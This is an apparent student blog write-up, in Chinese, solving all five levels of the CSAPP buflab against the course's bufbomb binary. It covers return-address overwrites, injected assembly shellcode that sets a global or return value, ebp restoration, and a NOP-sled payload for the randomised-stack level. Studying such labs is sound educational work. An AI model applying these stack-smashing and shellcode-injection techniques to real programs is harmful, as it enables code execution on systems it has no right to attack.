CSAPP-buflab

buflab

实验目的

​ 详细了解IA-32调用惯例和堆栈结构。它涉及对lab目录中的可执行文件bufbomb应用一系列缓冲区溢出攻击。

实验环境和工具

​ ubuntu 12.04.5 (32位) ;

​ gdb 7.4 ;

实验内容及操作步骤

准备工作

阅读Readme.txt和buflab-writeup.pdf的前几页

按照Readme.txt的要求,任意输入一个字符作为userid。使用makecookie生成cookie。我这里输入的字符为h,得到cookie:0x20083f2f

image-20210531221833088

在linux下解压buflab-handout.tar.gz

Level 0: Candle (10 pts)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void test() 
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}

目标:

​ 让BUFBOMB在getbuf执行其return语句时执行smoke的代码,而不是返回test

​ 注意:利用漏洞字符串还可能损坏堆栈中与此阶段不直接相关的部分,但这不会导致问题,因为冒烟会导致程序直接退出。

分析:

getbuf()的反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
Dump of assembler code for function getbuf:
0x08049262 <+0>: push %ebp
0x08049263 <+1>: mov %esp,%ebp
0x08049265 <+3>: sub $0x38,%esp
0x08049268 <+6>: lea -0x28(%ebp),%eax
0x0804926b <+9>: mov %eax,(%esp)
0x0804926e <+12>: call 0x8048c32 <Gets>
0x08049273 <+17>: mov $0x1,%eax
0x08049278 <+22>: leave ;恢复旧ebp
0x08049279 <+23>: ret ;返回地址出栈,存储在eip中
End of assembler dump.
  • lea -0x28(%ebp),%eaxmov %eax,(%esp)可知,ebp-0x28的地址为Gets()函数的参数。Gets()将以该地址为起点向地址增大的方向保存字符。getbuf()的部分栈帧示意图如下:

    image-20210601102016862

  • 因此需要将getbuf()的返回地址覆盖为smoke()第一条语句的地址smoke()的汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    Dump of assembler code for function smoke:
    0x08048e0a <+0>: push %ebp
    0x08048e0b <+1>: mov %esp,%ebp
    0x08048e0d <+3>: sub $0x18,%esp
    0x08048e10 <+6>: movl $0x804a2fe,0x4(%esp)
    0x08048e18 <+14>: movl $0x1,(%esp)
    0x08048e1f <+21>: call 0x8048990 <__printf_chk@plt>
    0x08048e24 <+26>: movl $0x0,(%esp)
    0x08048e2b <+33>: call 0x8049280 <validate>
    0x08048e30 <+38>: movl $0x0,(%esp)
    0x08048e37 <+45>: call 0x80488d0 <exit@plt>
    End of assembler dump.

    首地址为0x08048e0a。由于0x0a'\n',故选用0x08048e0b注入。

    构造的字符串为(40+4)个字符(除了0x0a以外的任意字符),再加上0b 8e 04 08(小端法)。txt文件如下:

    image-20210531220802038

结果:

image-20210531221856751

Level 1: Sparkler (10 pts)

1
2
3
4
5
6
7
8
9
10
void fizz(int val) 
{
if (val == cookie)
{
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

目标:

​ 与Level 0类似,让BUFBOMB执行fizz的代码,而不是返回test。但是,您必须使它看起来像fizz,就好像传递了cookie作为它的参数。

分析:

fizz的反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Dump of assembler code for function fizz:
0x08048daf <+0>: push %ebp ;esp=esp-4
0x08048db0 <+1>: mov %esp,%ebp ;保存esp的值到ebp
0x08048db2 <+3>: sub $0x18,%esp
0x08048db5 <+6>: mov 0x8(%ebp),%eax ;参数=M[ebp+8]
0x08048db8 <+9>: cmp 0x804d104,%eax
0x08048dbe <+15>: jne 0x8048de6 <fizz+55>
0x08048dc0 <+17>: mov %eax,0x8(%esp)
0x08048dc4 <+21>: movl $0x804a2e0,0x4(%esp)
0x08048dcc <+29>: movl $0x1,(%esp)
0x08048dd3 <+36>: call 0x8048990 <__printf_chk@plt>
0x08048dd8 <+41>: movl $0x1,(%esp)
0x08048ddf <+48>: call 0x8049280 <validate>
0x08048de4 <+53>: jmp 0x8048dfe <fizz+79>
0x08048de6 <+55>: mov %eax,0x8(%esp)
0x08048dea <+59>: movl $0x804a4d4,0x4(%esp)
0x08048df2 <+67>: movl $0x1,(%esp)
0x08048df9 <+74>: call 0x8048990 <__printf_chk@plt>
0x08048dfe <+79>: movl $0x0,(%esp)
0x08048e05 <+86>: call 0x80488d0 <exit@plt>
End of assembler dump.
  • mov 0x8(%ebp),%eax可知,此时ebp+0x8的地址保存的是fizz()的参数。其余类似Level0。更改getbuf()的返回地址为fizz()的入口地址后,进入fizz()前的部分栈帧示意图如下。进入fizz()后,esp的值加4,之后push %ebp,esp的值减4,再由mov %esp,%ebp,我们可以确定fizz()的参数的地址。

    image-20210601164519079

  • 构造字符串为(40+4)个字符(除了0x0a以外的任意字符),加上af 8d 04 08fizz()的入口地址,小端法),再加上4个字符
    (除了0x0a以外的任意字符),最后加上cookie:2f 3f 08 20(小端法)。txt文件如下:

    image-20210601110032585

结果:

image-20210601110124902

Level 2: Firecracker (15 pts)

1
2
3
4
5
6
7
8
9
int global_value = 0;
void bang(int val) {
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

目标:

​ 与级别0和1类似,让BUFBOMB执行bang的代码,而不是返回test。但在此之前,必须将全局变量global_value设置为用户id的cookie。攻击代码应该设置全局变量,将bang的地址推送到堆栈上,然后执行ret指令以跳转到bang的代码。

分析:

bang的反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Dump of assembler code for function bang:
0x08048d52 <+0>: push %ebp
0x08048d53 <+1>: mov %esp,%ebp
0x08048d55 <+3>: sub $0x18,%esp
0x08048d58 <+6>: mov 0x804d10c,%eax
0x08048d5d <+11>: cmp 0x804d104,%eax ;比较地址0x804d10c和0x804d104所存的值
0x08048d63 <+17>: jne 0x8048d8b <bang+57>
0x08048d65 <+19>: mov %eax,0x8(%esp)
0x08048d69 <+23>: movl $0x804a4ac,0x4(%esp)
0x08048d71 <+31>: movl $0x1,(%esp)
0x08048d78 <+38>: call 0x8048990 <__printf_chk@plt>
0x08048d7d <+43>: movl $0x2,(%esp)
0x08048d84 <+50>: call 0x8049280 <validate>
0x08048d89 <+55>: jmp 0x8048da3 <bang+81>
0x08048d8b <+57>: mov %eax,0x8(%esp)
0x08048d8f <+61>: movl $0x804a2c2,0x4(%esp)
0x08048d97 <+69>: movl $0x1,(%esp)
0x08048d9e <+76>: call 0x8048990 <__printf_chk@plt>
0x08048da3 <+81>: movl $0x0,(%esp)
0x08048daa <+88>: call 0x80488d0 <exit@plt>
End of assembler dump.
  • 查看地址0x804d10c的值和0x804d104的值,得到它们分别为global_valuecookie的值。

image-20210601164928822

  • getbuf中的ebp位置为0x55683610(如下图),显然无法直接覆盖。

    image-20210601165635051

  • 故可以编写汇编代码,然后把它们转换为字符编码放入堆栈中,以完成需要的操作。汇编代码如下:

    1
    2
    3
    4
    5
    /*bang.s*/
    mov 0x804d104,%eax /*将cookie保存到eax*/
    mov %eax,0x804d10c /*将global_value设置为cookie的值*/
    push $0x08048d52 /*bang的函数入口地址入栈*/
    ret /*返回,进入bang函数*/
  • 通过指令将.s文件编译为.o文件,查看反汇编代码,共16个字节:

    image-20210601171331126

  • 我们可以把这段代码从buf的起始位置开始存放,而把getbuf的返回地址更改为buf的起始地址,以执行这段代码。经调试getbufbuf的起始地址为:0x556835b8

    image-20210601172034515

  • 更改后的栈帧示意图如下:

    image-20210601194717582

  • 故注入的字符串为代码的字符编码(共16个字节)+28个字节(除了0x0a以外的任意字符)+b8 35 68 55(buf的起始地址的小端法表示)。txt文件如下:

    image-20210601173336057

结果:

image-20210601173259876

Level 3: Dynamite (20 pts)

test的c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void test() 
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}

test的汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Dump of assembler code for function test:
0x08048e3c <+0>: push %ebp
0x08048e3d <+1>: mov %esp,%ebp
0x08048e3f <+3>: push %ebx
0x08048e40 <+4>: sub $0x24,%esp
0x08048e43 <+7>: call 0x8048c18 <uniqueval>
0x08048e48 <+12>: mov %eax,-0xc(%ebp)
0x08048e4b <+15>: call 0x8049262 <getbuf>
0x08048e50 <+20>: mov %eax,%ebx
0x08048e52 <+22>: call 0x8048c18 <uniqueval>
0x08048e57 <+27>: mov -0xc(%ebp),%edx
0x08048e5a <+30>: cmp %edx,%eax
0x08048e5c <+32>: je 0x8048e74 <test+56>
0x08048e5e <+34>: movl $0x804a460,0x4(%esp)
0x08048e66 <+42>: movl $0x1,(%esp)
0x08048e6d <+49>: call 0x8048990 <__printf_chk@plt>
0x08048e72 <+54>: jmp 0x8048eba <test+126>
0x08048e74 <+56>: cmp 0x804d104,%ebx
0x08048e7a <+62>: jne 0x8048ea2 <test+102>
0x08048e7c <+64>: mov %ebx,0x8(%esp)
0x08048e80 <+68>: movl $0x804a31a,0x4(%esp)
0x08048e88 <+76>: movl $0x1,(%esp)
0x08048e8f <+83>: call 0x8048990 <__printf_chk@plt>
0x08048e94 <+88>: movl $0x3,(%esp)
0x08048e9b <+95>: call 0x8049280 <validate>
0x08048ea0 <+100>: jmp 0x8048eba <test+126>
0x08048ea2 <+102>: mov %ebx,0x8(%esp)
0x08048ea6 <+106>: movl $0x804a337,0x4(%esp)
0x08048eae <+114>: movl $0x1,(%esp)
0x08048eb5 <+121>: call 0x8048990 <__printf_chk@plt>
0x08048eba <+126>: add $0x24,%esp
0x08048ebd <+129>: pop %ebx
0x08048ebe <+130>: pop %ebp
0x08048ebf <+131>: ret
End of assembler dump.

目标:

​ 提供一个漏洞字符串,该字符串将导致getbufcookie返回到test,而不是值1。可以在test的代码中看到,这将导致程序运行“Boom!”。

​ 漏洞字符串将cookie设置为返回值的同时,应恢复任何损坏的状态,在堆栈上设定正确的返回地址,并执行ret指令以真正返回test

分析:

  • getbuf的返回值保存在eax中,故注入的字符串应执行操作将getbuf中eax的值设为cookie的值。同时返回到testcall 0x8049262 <getbuf>之后的位置,同时注入buf时应让保存的旧ebp保持原值不变。

  • 编写汇编代码如下:

    1
    2
    3
    mov		$0x20083f2f,%eax	/*将cookie的值保存在eax中*/
    push $0x08048e50 /*test的call <getbuf>之后的地址入栈*/
    ret /*返回*/
  • 输入指令,反汇编得机器码如下,共11个字节:

    image-20210601193213300

    image-20210601201352918

  • 我们可以把这段代码从buf的起始位置开始存放,而把getbuf的返回地址更改为buf的起始地址,以执行这段代码。与Level 2一样,buf的起始地址为:0x556835b8
  • 同时旧ebp应保持原值不变,调试查看得getbuf保存的ebp的值为0x55683610

image-20210602084151289

  • 故更改后的getbuf的部分栈帧如下:

    image-20210601201240748

  • 故注入的字符串为代码的字符编码(共11个字节)+29个字节(除了0x0a以外的任意字符)+10 36 68 55(原ebp的值,小端法表示)+b8 35 68 55(buf的起始地址的小端法表示)。txt文件如下:

    image-20210601201456344

结果:

image-20210601201603573

Level 4: Nitroglycerin (10 pts)

testn的汇编代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Dump of assembler code for function testn:
0x08048cce <+0>: push %ebp
0x08048ccf <+1>: mov %esp,%ebp
0x08048cd1 <+3>: push %ebx
0x08048cd2 <+4>: sub $0x24,%esp
0x08048cd5 <+7>: call 0x8048c18 <uniqueval>
0x08048cda <+12>: mov %eax,-0xc(%ebp)
0x08048cdd <+15>: call 0x8049244 <getbufn>
0x08048ce2 <+20>: mov %eax,%ebx
0x08048ce4 <+22>: call 0x8048c18 <uniqueval>
0x08048ce9 <+27>: mov -0xc(%ebp),%edx
0x08048cec <+30>: cmp %edx,%eax
0x08048cee <+32>: je 0x8048d06 <testn+56>
0x08048cf0 <+34>: movl $0x804a460,0x4(%esp)
0x08048cf8 <+42>: movl $0x1,(%esp)
0x08048cff <+49>: call 0x8048990 <__printf_chk@plt>
0x08048d04 <+54>: jmp 0x8048d4c <testn+126>
0x08048d06 <+56>: cmp 0x804d104,%ebx
0x08048d0c <+62>: jne 0x8048d34 <testn+102>
0x08048d0e <+64>: mov %ebx,0x8(%esp)
0x08048d12 <+68>: movl $0x804a48c,0x4(%esp)
0x08048d1a <+76>: movl $0x1,(%esp)
0x08048d21 <+83>: call 0x8048990 <__printf_chk@plt>
0x08048d26 <+88>: movl $0x4,(%esp)
0x08048d2d <+95>: call 0x8049280 <validate>
0x08048d32 <+100>: jmp 0x8048d4c <testn+126>
0x08048d34 <+102>: mov %ebx,0x8(%esp)
0x08048d38 <+106>: movl $0x804a2a6,0x4(%esp)
0x08048d40 <+114>: movl $0x1,(%esp)
0x08048d47 <+121>: call 0x8048990 <__printf_chk@plt>
0x08048d4c <+126>: add $0x24,%esp
0x08048d4f <+129>: pop %ebx
0x08048d50 <+130>: pop %ebp
0x08048d51 <+131>: ret
End of assembler dump.

目标:

​ 在Nitro模式下运行时,BUFBOMB要求提供字符串5次,它将执行getbufn 5次,每次都有不同的堆栈偏移量。

​ 与Level3相同,Level4要求提供一个漏洞字符串,该字符串将导致getbufncookie返回到testn,而不是值1。可以在testn的代码中看到,这将导致程序进入“KABOOM!”。攻击代码需要将cookie设置为返回值,同时应恢复任何损坏的状态,在堆栈上设定正确的返回地址,并执行ret指令以真正返回testn

分析:

getbufn的汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
Dump of assembler code for function getbufn:
0x08049244 <+0>: push %ebp
0x08049245 <+1>: mov %esp,%ebp
0x08049247 <+3>: sub $0x218,%esp
0x0804924d <+9>: lea -0x208(%ebp),%eax
0x08049253 <+15>: mov %eax,(%esp)
0x08049256 <+18>: call 0x8048c32 <Gets>
0x0804925b <+23>: mov $0x1,%eax
0x08049260 <+28>: leave
0x08049261 <+29>: ret
End of assembler dump.
  • ebp-0x208的地址为Gets()函数的参数。Gets()将以该地址为起点向地址增大的方向保存字符。

  • 通过调试,观察每次执行testn时的ebp,以及对应的getbufnebp的变化。

    image-20210602084724410image-20210602084741390image-20210602084801354image-20210602084816623

    image-20210602084857133

  • 观察到testnebp是变化的,最大值为0x55683680,最小值为0x556835a0,差值为0xE0(224)。getbufnebp同样是变化的,最大值为0x55683650,最小值为0x55683570。对应的buf起始地址最大值为0x55683448,最小值为0x55683368。由于我们注入的返回地址是固定的,故我们注入的返回地址须不小于0x55683468,否则可能出现buf覆盖的地址都大于设定的返回地址,从返回地址向高地址执行命令时执行了未知命令的情况。

  • 类似于Level3,我们从更改后的返回地址开始执行指令。由于设定的返回地址不小于0x55683448,当buf的起始地址小于设定的返回地址时,就需要想办法使注入的攻击代码出现在返回地址的高处。我们就设定返回地址为0x55683448,则buf起始地址的最小值相差了224个字节,这就需要至少填充224个字节的nop指令(nop指令只使程序计数器加1),从而在任何情况下都能使CPU将指令至少执行到注入的攻击代码(若填充00,则CPU无法识别,无法进行后续操作)。

  • testnebp是不断的变化的,无法像Level3一样在内存中注入固定的值恢复保存的ebp。但我们可以找到getbufnebptestnebp的关系,即前者比后者小了0x30。我们的攻击代码是在getbufnleaveret指令之后执行的。在这两次指令后,esp的值变为getbufnebp+0x8,而本身的ebp变为保存的ebp的值(但被buf溢出覆盖)。故此时,我们可以根据这个关系:testnebp=esp+0x28编写注入的代码。

  • 注入的代码如下:

    1
    2
    3
    4
    mov		$0x20083f2f,%eax	/*将cookie的值保存在eax中*/
    lea 0x28(%esp),%ebp /*恢复保存的ebp的值*/
    push $0x08048ce2 /*testn的call <getbuf>之后的地址入栈*/
    ret /*返回*/
  • 输入指令,反汇编得机器码如下,共15个字节:

image-20210602090320808

  • 可以得到栈帧的示意图:

    image-20210602091128347

  • getbufn的ebp-0x208为buf的起始地址,0x208为520。故注入的字符串为509个nop(0x90)+15个字节的攻击代码+48 34 68 55(修改的返回地址,小端法表示)。txt文件如下:

image-20210602091213381

结果:

image-20210602091240597

实验总结

  1. 这次实验的难度随级别的提高而增加,引导我们如何利用缓冲区存在的漏洞实现一些目的:

    Level0:利用直接覆盖返回地址,在调用函数getbuf时直接返回smoke函数,让我们初步认识缓冲区溢出攻击的原理。

    Level1:在Level0的基础上,多了修改函数参数的操作,这需要我们结合汇编代码找到参数的位置。

    Level2:开始需要我们自己编写汇编代码段去实现操作:修改返回值、设置全局变量、跳转。同时也需要利用缓冲区溢出,跳转至这段代码的起始地址。

    Level3:同时利用自己编写的代码设置返回值并返回至test函数,需要覆盖buf时要保持函数保存的旧ebp不变。

    Level4:每次调用getbufn的目的与Level3一致,不同的是它的ebp不断变化,需要找到等式关系去编写代码以修正而ebp。难点还在于多次调用使栈基址随机化,这需要利用弄nop_sled的技术。

    通过学习、理解如何实现缓冲区溢出攻击,我对函数调用、栈帧空间的分配、nop_sled的使用等相关知识有了更加深刻的理解。

  2. 在实验的部分地方需要对运行过程进行调试,查看某个寄存器的值及其变化。所以gdb工具的使用是不可或缺的。通过完成这次实验,我对gdb工具的使用更加熟练。

  3. 进行实验,细心和耐心也是很重要的品质。有时候会因为不够细心而耽误时间,如Level4中我因为看错了ebp的值,使得第一次尝试没有通过,但好在能够通过调试发现错误之处,并加以改正。有了细心和耐心的加持,才能更好地完成一个个实验,收获知识,提升技能。


本博客所有文章除特别声明外,均为博客作者本人编写整理,转载请联系作者!